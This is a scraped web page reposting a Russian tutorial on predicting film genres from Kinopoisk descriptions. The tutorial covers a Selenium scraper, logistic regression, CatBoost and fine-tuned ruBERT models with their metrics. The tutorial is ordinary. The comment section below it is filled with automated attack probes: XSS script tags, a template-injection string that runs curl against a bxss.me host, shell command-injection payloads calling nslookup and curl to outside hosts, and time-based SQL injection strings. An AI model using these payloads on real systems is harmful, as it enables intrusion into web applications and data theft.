Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Определение жанра фильма по описанию

Автор статьи: Олег Блохин

Выпускник OTUS

В ходе поиска темы проектной работы, которой должен был завершиться курс Machine Learning. Professional, я решил поэкспериментировать с данными о фильмах, мультфильмах, сериалах и прочей схожей продукции. Немного сожалея, что времени смотреть кинопродукцию у меня почти нет, приступим.

Сбор данных

Попробуем взять данные (описания фильмов) с сайта Кинопоиск, а затем по описанию фильма определить жанр картины.

Структура адресной строки страницы со списком фильмов оказалась тривиальной:

22d93f96e70f50de2f5e574823221e21.png

А страница фильма выглядит тоже неплохо:

fc1be83b7155e9c0a6980c60360f58ed.png

Немного потрудившись, был написан нехитрый алгоритм сбора данных.

Исходный код
import numpy as np   # Библиотека для матриц, векторов и линала
import pandas as pd  # Библиотека для табличек
import time          # Библиотека для времени

from selenium import webdriver 

browser = webdriver.Firefox()
time.sleep(0.3)
browser.implicitly_wait(0.3) 

from bs4 import BeautifulSoup
from lxml import etree
from tqdm.notebook import tqdm

def get_dom(page_link):
    browser.get(page_link)
    html = browser.page_source
    soup = BeautifulSoup(html, 'html.parser') 
    return etree.HTML(str(soup)) 

def get_listpage_links(page_no):
    # page_link = f'https://www.kinopoisk.ru/lists/movies/year--2010-2019/?page={page_no}'
    page_link = f'https://www.kinopoisk.ru/lists/movies/year--2021/?page={page_no}'
    dom = get_dom(page_link) 
    return dom.xpath("body//div[@data-tid='8a6cbb06']/a[@href]/@href")

def get_moviepage_info(movie_link):
    page_link = 'https://www.kinopoisk.ru' + movie_link
    dom = get_dom(page_link)

    elem = dom.xpath("body//div/span//span[@data-tid='939058a8']")
    rating = elem[0].text if elem else ''
    elem = dom.xpath("body//div//h1[@data-tid='f22e0093']/span")
    name = elem[0].text if elem else ''

    features = {}
    elem = dom.xpath("body//div/div[@data-test-id='encyclopedic-table' and @data-tid='bd126b5e']")[0]
    for child in elem.getchildren():
        #print(etree.tostring(child))
        feature = child.xpath('div[1]')[0].text
        ahrefs = child.xpath('div[position()>1]//a[text()] | div[position()>1]//div[text() and not(*)] | div[position()>1]//span[text()]')
        values = [ahr.text for ahr in ahrefs]
        features[feature] = values

    elem = dom.xpath("body//div/p[text() and not(*) and @data-tid='bfd38da2']")
    short_descr = elem[0].text if elem else ''

    elem = dom.xpath("body//div/p[text() and not(*) and @data-tid='bbb11238']")
    descr = ' '.join([x.text for x in elem])

    return (name, rating, short_descr, descr, features)

_df = pd.DataFrame(columns=['id', 'type', 'name', 'rating', 'short_descr', 'descr', 'features'])
for page_number in tqdm(range(1, 912), desc='List pages'):
    try:
        links = get_listpage_links(page_number)
        _df = pd.DataFrame(columns=['id', 'type', 'name', 'rating', 'short_descr', 'descr', 'features'])
        for movie_link in links:
          movie_id = movie_link.split('/')[1:3]
          name, rating, short_descr, descr, features = get_moviepage_info(movie_link)
          data_row = {'id':movie_id[1], 'type':movie_id[0], 'name':name, 'rating':rating, 'short_descr':short_descr, 'descr':descr, 'features': features}
          _df = pd.concat([_df, pd.DataFrame([data_row])], ignore_index=True)
        with open('kinopoisk_2010-2019.csv', 'a') as f:
            _df.to_csv(f, mode='a', header=f.tell()==0, index=False)
    except Exception as err:
        print(f"Unexpected {err=}, {type(err)=}")

Итогом работы алгоритма (если честно, то просто надоело ждать) стали свыше 50 тысяч записей о фильмах. Нам, для нашего исследования необходимы только описание и список ассоциированных с фильмов жанров.

Набор данных
Набор данных

Посмотрев на количество представителей каждого из имеющихся жанров, становится понятно, что мы имеем крайне несбалансированную выборку по классам:

alt

Избавимся от тех жанров, где количество представителей меньше 100, а заодно уберем непонятный жанр "--". В результате такой фильтрации для экспериментов осталось 26 жанров и более 53 тысяч фильмов. Должно хватить :)

alt

Изначально я использовал алгоритмы multi-class классификации, когда каждой записи присваивается единственная метка класса. При таком подходе значения метрик получались достаточно скромными (что интуитивно понятно, зачастую даже зрителю-человеку непросто понять, чего в картине больше - драмы, комедии или даже мелодрамы), поэтому не буду тратить время читателей на это. К тому же, с моей точки зрения, жанры, представленные на вышеупомянутом ресурсе, во многих случаях не являются классами в классическом математическом понимании задачи классификации: боевик может быть представлен в мультипликационной форме (а "мультфильм" и "боевик" - разные жанры в аннотации кинопоиска), а аниме - и вовсе всегда является мультфильмом (да простят мне мое невежество любители данного жанра, если я ошибаюсь :) ). В общем, примем как данность, что модель, когда каждый фильм характеризуется принадлежностью лишь к одному жанру, слишком упрощает реальность.

Будем решать задачу multilabel классификации, когда одному фильму присваиваются одна или более меток разных жанров.

Технически подготовить данные для решения этой задачи оказалось достаточно просто с помощью библиотеке sklearn. В нашем случае в DataFrame (pandas.DataFrame) была создана колонка genre_multi, которая содержала разделенные запятой названия жанров (к примеру "драма,криминал,биография,комедия"). Следующий код добавляет колонки, названия которых совпадают с названием жанра-класса, и содержат нули или единички, в зависимости от того, указан ли конкретный жанр для картины, или нет.

Исходный код

from sklearn.preprocessing import MultiLabelBinarizer
mlb = MultiLabelBinarizer()
mlb_result = mlb.fit_transform([str(data.loc[i,'genre_multi']).split(',') for i in range(len(data))])
data = pd.concat([data, pd.DataFrame(mlb_result, columns = list(mlb.classes_))], axis=1)

target_strings = mlb.classes_

Результат работы этого кода выглядит примерно так:

name

descr

lemmatized_descr

genre_multi

аниме

биография

боевик

вестерн

военный

детектив

...

мюзикл

приключения

реальное ТВ

семейный

спорт

ток-шоу

триллер

ужасы

фантастика

фэнтези

1+1 (2011)

Пострадав в результате несчастного случая, бог...

пострадать результат несчастный случай богатый...

драма,комедия,биография

0

1

0

0

0

0

...

0

0

0

0

0

0

0

0

0

0

Джентльмены (2019)

Один ушлый американец ещё со студенческих лет ...

ушлый американец студенческий год приторговыва...

криминал,комедия,боевик

0

0

1

0

0

0

...

0

0

0

0

0

0

0

0

0

0

Волк с Уолл-стрит (2013)

1987 год. Джордан Белфорт становится брокером ...

год джордан белфорт становиться брокер успешны...

драма,криминал,биография,комедия

0

1

0

0

0

0

...

0

0

0

0

0

0

0

0

0

0

Разделение данных на обучающую и тестовую выборки

Одна из первых сложностей, которая неизбежно возникает при попытке разделить данные на обучающую и тестовую выборки - огромное количество вариантов "меток": при multilabel-классификации мы пытаемся предсказать не просто метку класса, а вектор из нулей и единичек длины N, где N - количество жанров в нашем случае. В нашем случае количество теоретически возможных исходов равно 226, что многократно превышает размер всех наших данных.
Стандартный метод train_test_split с опцией stratify из sklearn.model_selection ожидаемо не справился с этой задачей. Поиск по всемирной сети подсказал следующий вариант, основанный на статье 2011 года:

Исходный код
from iterstrat.ml_stratifiers import MultilabelStratifiedShuffleSplit
from sklearn.utils import indexable, _safe_indexing
from sklearn.utils.validation import _num_samples
from sklearn.model_selection._split import _validate_shuffle_split
from itertools import chain

def multilabel_train_test_split(*arrays,
                                test_size=None,
                                train_size=None,
                                random_state=None,
                                shuffle=True,
                                stratify=None):
    """
    Train test split for multilabel classification. Uses the algorithm from: 
    'Sechidis K., Tsoumakas G., Vlahavas I. (2011) On the Stratification of Multi-Label Data'.
    """
    if stratify is None:
        return train_test_split(*arrays, test_size=test_size,train_size=train_size,
                                random_state=random_state, stratify=None, shuffle=shuffle)
    
    assert shuffle, "Stratified train/test split is not implemented for shuffle=False"
    
    n_arrays = len(arrays)
    arrays = indexable(*arrays)
    n_samples = _num_samples(arrays[0])
    n_train, n_test = _validate_shuffle_split(
        n_samples, test_size, train_size, default_test_size=0.25
    )
    cv = MultilabelStratifiedShuffleSplit(test_size=n_test, train_size=n_train, random_state=random_state)
    train, test = next(cv.split(X=arrays[0], y=stratify))

    return list(
        chain.from_iterable(
            (_safe_indexing(a, train), _safe_indexing(a, test)) for a in arrays
        )
    )

Все приведенные в дальнейшем отчеты о результатах классификации будут приводиться на одной и той же тестовой выборке, размер которой составляет 20% от всех имеющихся данных.

Классические методы

Классические методы работают с предварительно обработанными данными. Использовалась стандартная техника лемматизации, единственная особенность - добавлено стоп-слово "фильм".

Исходный код
import nltk
nltk.download('stopwords')
stop_words = nltk.corpus.stopwords.words('russian')
stop_words.append('фильм')
#word_tokenizer = nltk.WordPunctTokenizer()

import re
regex = re.compile(r'[А-Яа-яA-zёЁ-]+')

def words_only(text, regex=regex):
    try:
        return " ".join(regex.findall(text)).lower()
    except:
        return ""

from pymystem3 import Mystem
from string import punctuation

mystem = Mystem() 

#Preprocess function
def preprocess_text(text):
    text = words_only(text)
    tokens = mystem.lemmatize(text.lower())
    tokens = [token for token in tokens if token not in stop_words\
              and token != " " \
              and token.strip() not in punctuation]
    
    text = " ".join(tokens)
    
    return text

Логистическая регрессия и TF-IDF

Для начала была обучена модель логистической регрессии, при этом векторизация текстов производилась методом TF-IDF. Multilabel классификация достигается путем "оборачивания" стандартной модели из sklearn в стандартный же MultiOutputClassifier из все той же библиотеки sklearn. Объединение всех этих компонентов в единый pipeline позволило произвести подбор гиперпараметров одновременно и для векторизатора, и самой модели логистической регрессии. Удобно!

Исходный код
pipe = Pipeline([
    ('tfidf', TfidfVectorizer(max_features=1700, min_df=0.0011, max_df=0.35, norm='l2')),
    ('logregr', MultiOutputClassifier(estimator= LogisticRegression(max_iter=10000, class_weight='balanced', multi_class='multinomial', C=0.009, penalty='l2'))),
])

pipe.fit(train_texts, train_y)

pred_y = pipe.predict(test_texts)
print(classification_report(y_true=test_y, y_pred=pred_y, target_names=target_strings))

Отчет о классификации представлен ниже:

alt
alt

Забегая немного вперед, результаты метрики recall у данной модели оказались самыми высокими среди всех моделей, поучаствовавших в эксперименте.
Да и в целом - очевидно, что результаты определения жанра моделью гораздо лучше, нежели просто случайный выбор.

Catboost + TF-IDF

Аналогично поступим с Catboost. Хотя Catboost сам "умеет в multilabel классификацию", мы пойдем другим путем (зачем мы так делаем - станет ясно чуть позже): точно так же "завернем" CatBoostClassifier в MultiOutputClassifier. Заодно посмотрим, как работает multilabel классификация в реализации Catboost. Забегая вперед: результаты классификации отличались мало, зато с MultiOutputClassifier алгоритм сработал на CPU за 89 минут против 150 минут средствами multilabel классификации Catboost.

Исходный код с MultiOutputClassifier
from catboost import CatBoostClassifier

pipe2 = Pipeline([
    ('tfidf', TfidfVectorizer(max_features=1700, min_df=0.0031, max_df=0.4, norm='l2')),
    ('gboost', MultiOutputClassifier(estimator= CatBoostClassifier(task_type='CPU', verbose=False))),
])

pipe2.fit(train_texts, train_y)

pred_y = pipe2.predict(test_texts)
print(classification_report(y_true=test_y, y_pred=pred_y, target_names=target_strings))
Исходный код без MultiOutputClassifier
pipe3 = Pipeline([
    ('tfidf', TfidfVectorizer(max_features=1700, min_df=0.0031, max_df=0.4, norm='l2')),
    ('gboost', CatBoostClassifier(task_type='CPU', loss_function='MultiLogloss',  class_names=target_strings, verbose=False)),
])

pipe3.fit(train_texts, train_y)

pred_y = pipe3.predict(test_texts)
print(classification_report(y_true=test_y, y_pred=pred_y, target_names=target_strings))

Результаты классификации Catboost с MultiOutputClassifier :

alt
alt

Результаты классификации Catboost без MultiOutputClassifier :

alt
alt

Можно заметить, что у Catboost уклон скорее в сторону метрики precision, а метрика recall сильно проигрывает результатам логистической регрессии.

Примеры характерных слов

Теперь настало время объяснить, зачем мне был нужен MultiOutputClassifier даже для градиентного бустинга: таким образом можно извлечь из модели слова, характерные для конкретного жанра. Что мы сейчас и проделаем. А на результаты посмотрим в виде облаков слов :)

Исходный код
import matplotlib.pyplot as plt
from wordcloud import WordCloud

def gen_wordcloud(words, importances):
    d = {}
    for i, word in enumerate(words):
        d[word] = abs(importances[i])

    wordcloud = WordCloud()
    wordcloud.generate_from_frequencies(frequencies=d)

    return wordcloud

for idx, x in enumerate(target_strings):
    c1 = pipe['logregr'].estimators_[idx].coef_[0]
    words1 = pipe['tfidf'].get_feature_names_out()
    wc1 = gen_wordcloud(words1, c1)

    c2 = pipe2['gboost'].estimators_[idx].feature_importances_
    words2 = pipe2['tfidf'].get_feature_names_out()
    wc2 = gen_wordcloud(words2, c2)

    f, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 10))

    ax1.imshow(wc1, interpolation="bilinear")
    ax1.set_title(f'Log regr - {x}')
    ax1.axis('off')
    ax2.imshow(wc2, interpolation="bilinear")
    ax2.set_title(f'Catboost - {x}')
    ax2.axis('off')

    plt.tight_layout()
alt
alt
alt
alt
alt
alt
Остальные 23 жанра
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt

На мой субъективный взгляд разительнее всего для логистической регрессии и Catboost отличаются характерные слова для жанра "драма", наиболее богато представленного в наших данных.

На этом закончим эксперименты с классическими моделями, вернемся к ним лишь ненадолго в конце статьи, когда будем сравнивать их результаты с результатом трансформерных моделей.

Трансформерные модели

Кстати о них, то бишь о трансформерных моделях. Попробуем применить технику fine-tuning к предобученным трансформерным NLP моделям, с целью решить нашу задачу определения жанра фильма по описанию.

Эксперимент был проведен на следующих предобученных моделях с ресурса huggingface:

Трансформерные модели работают в связке с собственными векторизаторами (tokenizers). Исходный код токенизации текстов приведен ниже.

Исходный код
from transformers import BertTokenizer, AutoTokenizer


selected_model = 'ai-forever/ruBert-base'
# Load the tokenizer.
tokenizer = AutoTokenizer.from_pretrained(selected_model)

from torch.utils.data import TensorDataset


def make_dataset(texts, labels):
    # Tokenize all of the sentences and map the tokens to thier word IDs.
    input_ids = []
    attention_masks = []
    token_type_ids = []

    # For every sentence...
    for sent in texts:
        # `encode_plus` will:
        #   (1) Tokenize the sentence.
        #   (2) Prepend the `[CLS]` token to the start.
        #   (3) Append the `[SEP]` token to the end.
        #   (4) Map tokens to their IDs.
        #   (5) Pad or truncate the sentence to `max_length`
        #   (6) Create attention masks for [PAD] tokens.
        encoded_dict = tokenizer.encode_plus(
                            sent,                      # Sentence to encode.
                            add_special_tokens = True, # Add '[CLS]' and '[SEP]'
                            max_length = 500,          # Pad & truncate all sentences.
                            padding='max_length',
                            return_attention_mask = True,   # Construct attn. masks.
                            return_tensors = 'pt',     # Return pytorch tensors.
                            truncation=True,
                            return_token_type_ids=True
                    )

        # Add the encoded sentence to the list.
        input_ids.append(encoded_dict['input_ids'])

        token_type_ids.append(encoded_dict['token_type_ids'])

        # And its attention mask (simply differentiates padding from non-padding).
        attention_masks.append(encoded_dict['attention_mask'])

    # Convert the lists into tensors.
    input_ids = torch.cat(input_ids, dim=0)
    token_type_ids = torch.cat(token_type_ids, dim=0)
    attention_masks = torch.cat(attention_masks, dim=0)
    labels = torch.tensor(labels.values)
    dataset = TensorDataset(input_ids, token_type_ids, attention_masks, labels)

    return dataset

Библиотека fransformers предоставляет набор классов, которые дооснащают модель инструментами решения стандартных задач. В частности, для решения нашей задачи подходит класс AutoModelForSequenceClassification. С помощью параметра problem_type="multi_label_classification" указываем, что нас интересует именно multilabel классификация. В этом случае будет использована следующая функция потерь: BCEWithLogitsLoss.

Исходный код
import transformers

model = transformers.AutoModelForSequenceClassification.from_pretrained(
    selected_model, 
    problem_type="multi_label_classification",
    num_labels = 26, # The number of output labels--2 for binary classification.
                    # You can increase this for multi-class tasks.
    output_attentions = False, # Whether the model returns attentions weights.
    output_hidden_states = False, # Whether the model returns all hidden-states.
)

Далее было произведено стандартное обучение нейронной сети. Чтобы отслеживать метрки, меняющеся по ходу обучения, я подключил прекрасную утилиту tensorboard. Графики, приведенные ниже, получены именно с помощью него.

Исходный код
from torch.utils.tensorboard import SummaryWriter
from sklearn import metrics

def log_metrics(writer, loss, outputs, targets, postfix):
    print(outputs)
    outputs = np.array(outputs)
    predictions = np.zeros(outputs.shape)
    predictions[np.where(outputs >= 0.5)] = 1
    outputs = predictions
    accuracy = metrics.accuracy_score(targets, outputs)
    f1_score_micro = metrics.f1_score(targets, outputs, average='micro')
    f1_score_macro = metrics.f1_score(targets, outputs, average='macro')
    recall_score_micro = metrics.recall_score(targets, outputs, average='micro')
    recall_score_macro = metrics.recall_score(targets, outputs, average='macro')
    precision_score_micro = metrics.precision_score(targets, outputs, average='micro', zero_division=0.0)
    precision_score_macro = metrics.precision_score(targets, outputs, average='macro', zero_division=0.0)

    writer.add_scalar(f'Loss/{postfix}', loss, epoch)
    writer.add_scalar(f'Accuracy/{postfix}', accuracy, epoch)
    writer.add_scalar(f'F1 (Micro)/{postfix}', f1_score_micro, epoch)
    writer.add_scalar(f'F1 (Macro)/{postfix}', f1_score_macro, epoch)
    writer.add_scalar(f'Recall (Micro)/{postfix}', recall_score_micro, epoch)
    writer.add_scalar(f'Recall (Macro)/{postfix}', recall_score_macro, epoch)
    writer.add_scalar(f'Precision (Micro)/{postfix}', precision_score_micro, epoch)
    writer.add_scalar(f'Precision (Macro)/{postfix}', precision_score_macro, epoch)

Обучение сети произведено стандарнтым способом. Посколько в моем распоряжении имелся компьютер с видеокартой NVIDIA GeForce RTX 2080 Ti (12 GB), обучение выполнялось с использование GPU. При этом для разных моделей приходилось использовать разные размеры batch_size, а время достижения минимума функции потерь различась в разы. Эти данные для удобства восприятия я собрал в табличке ниже.

Исходный код
optimizer = torch.optim.AdamW(model.parameters(),
                  lr = 2e-5, # args.learning_rate - default is 5e-5, our notebook had 2e-5
                  eps = 1e-8 # args.adam_epsilon  - default is 1e-8.
                )

from transformers import get_linear_schedule_with_warmup

# Number of training epochs. The BERT authors recommend between 2 and 4.
# We chose to run for 4, but we'll see later that this may be over-fitting the
# training data.
epochs = model_setup[selected_model]['epochs']

# Total number of training steps is [number of batches] x [number of epochs].
# (Note that this is not the same as the number of training samples).
total_steps = len(train_dataloader) * epochs

# Create the learning rate scheduler.
scheduler = get_linear_schedule_with_warmup(optimizer,
                                            num_warmup_steps = 0, # Default value in run_glue.py
                                            num_training_steps = total_steps)

from tqdm import tqdm

def train(epoch):
    # print(f'Epoch {epoch+1} training started.')
    total_train_loss = 0
    model.train()
    fin_targets=[]
    fin_outputs=[]
    with tqdm(train_dataloader, unit="batch") as tepoch:
        for data in tepoch:
            tepoch.set_description(f"Epoch {epoch+1}")
            ids = data[0].to(device, dtype = torch.long)
            mask = data[2].to(device, dtype = torch.long)
            token_type_ids = data[1].to(device, dtype = torch.long)
            targets = data[3].to(device, dtype = torch.float)

            res = model(ids,
                             token_type_ids=None,
                             attention_mask=mask,
                             labels=targets)
            loss = res['loss']
            logits = res['logits']

            optimizer.zero_grad()
            total_train_loss += loss.item()
            fin_targets.extend(targets.cpu().detach().numpy().tolist())
            fin_outputs.extend(torch.sigmoid(logits).cpu().detach().numpy().tolist())

            optimizer.zero_grad()
            loss.backward()
            torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
            optimizer.step()
            scheduler.step()
            tepoch.set_postfix(loss=loss.item())
    
    return total_train_loss / len(train_dataloader), fin_outputs, fin_targets


def validate(epoch):
    model.eval()
    fin_targets=[]
    fin_outputs=[]
    total_loss = 0.0
    with torch.no_grad():
        for step, data in enumerate(test_dataloader, 0):
            ids = data[0].to(device, dtype = torch.long)
            mask = data[2].to(device, dtype = torch.long)
            token_type_ids = data[1].to(device, dtype = torch.long)
            targets = data[3].to(device, dtype = torch.float)
            res = model(ids,
                             token_type_ids=None,
                             attention_mask=mask,
                             labels=targets)
            loss = res['loss']
            logits = res['logits']
            total_loss += loss.item()
            fin_targets.extend(targets.cpu().detach().numpy().tolist())
            fin_outputs.extend(torch.sigmoid(logits).cpu().detach().numpy().tolist())
    return total_loss/len(test_dataloader), fin_outputs, fin_targets

writer = SummaryWriter(comment= '-' + selected_model.replace('/', '-'))

for epoch in range(epochs):
    avg_train_loss, outputs, targets = train(epoch)

    log_metrics(writer, avg_train_loss, outputs, targets, 'train')
    
    avg_val_loss, outputs, targets = validate(epoch)
    log_metrics(writer, avg_val_loss, outputs, targets, 'val')

А теперь давайте посмотрим на графики. Для удобства я привел рядом "легенду", по которой нетрудно догадаться, к какой модели относятся графики.Начнем с функции потерь.

alt
alt
alt
alt

Видно, что наилучший результ получился у "среднеразмерной" модели "ai-forever/ruBert-base". "cointegrated/rubert-tiny2" остался далеко позади от победителя, что и понятно. Интересно, что "большие" модели "ai-forever/ruBert-large" и "ai-forever/ruRoberta-large" уступили в качестве базовой модели. В случае с "ai-forever/ruBert-large" это вызвано, скорее всего, не самыми точными параметрами обучения, и, к примеру, снижение скорости обучения могло бы вывести эту модель в лидеры.

Посмотрим также на прочие графики. Не зря же я тратил на них время :)

alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt
alt

Видно, что несмотря на то, что loss-функция на валидационной выборке начинала уже возрастать, метрики recall и f1 продолжали улучшаться и далее, а вот с метрикой precision незначительно ухудшалась.

А теперь обещанная табличка. Жирным шрифтом указаны лучшие значения. Последняя колонка - время до достижения минимума функции потерь на валидационной выборке.

Имя модели

Loss

Precision (micro/ macro)

Recall (micro/ macro)

F1 (micro/ macro)

Batch size

Время, мин

cointegrated/rubert-tiny2

0.1819

0.6307 / 0.4246

0.373 / 0.2136

0.4688 / 0.2661

32

25

ai-forever/ruBert-base

0.1553

0.6863 / 0.5963

0.5039 / 0.4105

0.5811 / 0.4907

8

57

ai-forever/ruBert-large

0.1582

0.6673 / 0.5817

0.4922 / 0.3824

0.5665 / 0.4482

2

112

ai-forever/ruRoberta-large

0.1644

0.6672 / 0.6275

0.5457 / 0.4672

0.6004 / 0.5285

2

320

Можно заметить, что "ai-forever/ruRoberta-large" набрала набольшее количество лучших показателей метрик, несмотря на не самое лучшее значение функции потерь. Если бы не длительность обучения, я бы, пожалуй, объявил победителем ее. Но все же, победителем объявляется "ai-forever/ruBert-base".

Далее будем рассматривать результаты только этой модели.

Отчет о классификации ruBERT-base

alt
alt

Значения метрик выглядят поприятнее, чем у классических моделей.

Сравнение classification report

Сравним результаты, посмотрев на таблицы отчетов о классификации.

Логистическая регрессия

alt
alt

CatBoost

alt
alt

ruBert-base

alt
alt

Значение метрики recall, как ранее уже было сказано, наилучшее у нашей самой простой модели - логистической регрессии. Значениях метрик precision и f1 лучшие у трансформерной модели.

Примеры

Рассмотрим несколько примеров.

Джентльмены (2019)

alt
alt

Один ушлый американец ещё со студенческих лет приторговывал наркотиками, а теперь придумал схему нелегального обогащения с использованием поместий обедневшей английской аристократии и очень неплохо на этом разбогател. Другой пронырливый журналист приходит к Рэю, правой руке американца, и предлагает тому купить киносценарий, в котором подробно описаны преступления его босса при участии других представителей лондонского криминального мира — партнёра-еврея, китайской диаспоры, чернокожих спортсменов и даже русского олигарха.

Аннотация кинопоиска: криминал,комедия,боевик
Логистическая регрессия: биография,боевик,документальный,криминал
Catboost: криминал
BERT: драма,криминал

Как приручить дракона (2010)

alt
alt

Вы узнаете историю подростка Иккинга, которому не слишком близки традиции его героического племени, много лет ведущего войну с драконами. Мир Иккинга переворачивается с ног на голову, когда он неожиданно встречает дракона Беззубика, который поможет ему и другим викингам увидеть привычный мир с совершенно другой стороны…

Аннотация кинопоиска: мультфильм,фэнтези,комедия,приключения,семейный

Логистическая регрессия: аниме,военный,документальный,история,короткометражка,мультфильм,приключения,семейyый,фэнтези
Catboost: драма
BERT: мультфильм,приключения,семейный,фэнтези

Как прогулять школу с пользой (2017)

alt
alt

Вслед за городским мальчиком Полем зрителям предстоит узнать то, чему в школе не учат. А именно — как жить в реальном мире. По крайней мере, если это мир леса. Здесь есть хозяин — мрачный граф, есть власть — добродушный, но строгий лесничий Борель, и есть браконьер Тотош — человек, решивший быть вне закона, да и вообще подозрительный и неприятный тип. Чью сторону выберет Поль: добропорядочного лесничего Бореля или браконьера Тотоша? А может, юный сорванец и вовсе станет лучшим другом надменному графу?

Аннотация кинопоиска: драма,комедия,семейный

Логистическая регрессия: аниме,детский,мультфильм,мюзикл,приключения,семейный,фэнтези
Catboost:
BERT: мультфильм,семейный

Мой комментарий: фильм настолько странный, что Catboost отказался его классифицировать :)

Как я встретил вашу маму

alt
alt

Действие сериала происходит в двух временах: в будущем - 2034 году, где папа рассказывает детям о знакомстве с мамой и этапах создания их семьи, и в настоящем, где мы можем видеть, как все начиналось. Герой сегодня - молодой архитектор Дима, который еще не знает, как сложится его жизнь. Однажды ему даже кажется, что он встретил девушку своей мечты… Но так ли это на самом деле? Разобраться в этом Диме помогают его друзья: Паша и Люся – молодая пара, собирающаяся вот-вот пожениться, а также их общий друг Юра, ортодоксальный холостяк и циник, чей идеал – случайная связь на одну ночь. Он считает, что нет ничего глупее долгих отношений, а брак – устаревшее понятие.

Аннотация кинопоиска: комедия
Логистическая регрессия: драма,комедия,мелодрама
Catboost: драма,мелодрама
BERT: комедия

Заключение

Данные, использованные в моем эксперименте, как это зачастую бывает, несовершенны. Например, для мультипликационного фильма "Как приручить дракона" на мой субъективный взляд, из описания комедийность не просматривается. Да и писали это описание вовсе не с целью подготовить хороший набор данных для машинного обучения :) А информация о жанрах лишь дополняет описание. Да и она, скорее, субъективна.

Тем не менее, эксперимент получился интересным. Надеюсь, что для читателей тоже :)

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

